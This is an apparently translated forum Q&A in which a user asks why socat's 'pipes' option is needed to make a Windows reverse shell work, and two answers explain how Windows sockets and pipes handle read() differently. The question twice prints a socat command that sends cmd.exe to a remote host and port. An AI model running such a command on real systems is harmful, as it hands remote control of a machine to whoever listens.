尝试创建一个反向shell,我使用了这个我的windows框:
socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe'
失败并出现以下错误:“该过程试图写入不存在的管道。”
使用该pipes
选项,它现在可以工作:
socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe',pipes
我的问题是为什么pipes
有必要?
我知道pipes
选项将使用命名管道而不是默认的 UNIX 套接字。
我假设在 Windows 实现中,默认行为有所不同
答案1
该pipes
选项用于强制 cmd.exe 或 powershell 使用 Unix 风格的标准输入和输出。
答案2
我无法讲述 cmd.exe 但可以讲述 bash.exe/sh.exe。
在 Windows 上,网络套接字有一个不允许read()
调用的文件描述符。(请参阅https://stackoverflow.com/questions/4778043/winsock-not-supporting-read-write但在我的系统上write()
似乎可以工作)
bash.exe 继承了该网络连接(一个文件描述符)并使用write()
,read()
然后失败。在 Linux 中,这可以工作,请参阅https://man7.org/linux/man-pages/man2/recv.2.html
“recv() 和 read(2) 之间的唯一区别在于标志的存在。”
使用,pipes
socat 调用将进入对两个未命名管道进行操作的双向复制循环。bash.exe 继承了这两个人工管道端(文件描述符)并且运行良好,因为对于管道您实际上可以使用read()
和write()
。